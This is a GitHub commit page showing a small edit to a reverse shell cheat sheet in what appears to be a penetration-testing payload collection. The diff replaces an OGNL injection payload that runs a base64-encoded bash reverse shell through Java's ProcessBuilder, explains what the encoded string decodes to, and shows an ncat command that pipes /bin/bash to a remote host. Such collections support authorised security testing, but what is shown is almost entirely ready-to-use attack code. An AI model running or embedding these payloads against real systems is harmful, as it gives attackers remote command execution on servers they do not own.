Skip to content

Commit

Permalink
Update Reverse Shell Cheatsheet.md
Browse files Browse the repository at this point in the history
adding details
  • Loading branch information
therealtoastycat authored Jan 5, 2024
1 parent 3d9363f commit 05f441a
Showing 1 changed file with 3 additions and 1 deletion.
4 changes: 3 additions & 1 deletion Methodology and Resources/Reverse Shell Cheatsheet.md
Original file line number Diff line number Diff line change
Expand Up @@ -256,9 +256,11 @@ ncat --udp 10.0.0.1 4242 -e /bin/bash
### OGNL

```java
(#a='echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xLjIuMy40LzQ0NDQgMD4mMScK | base64 -d | bash -i').(#b={'bash','-c',#a}).(#p=new java.lang.ProcessBuilder(#b)).(#process=#p.start())
(#a='echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjEnCg== | base64 -d | bash -i').(#b={'bash','-c',#a}).(#p=new java.lang.ProcessBuilder(#b)).(#process=#p.start())
```

With `YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80MjQyIDA+JjEnCg==` decoding to `bash -c 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1'`, the payload within the single quotes might be changed by any Linux-compatible reverse shell.

### OpenSSL

Attacker:
Expand Down

0 comments on commit 05f441a

Please sign in to comment.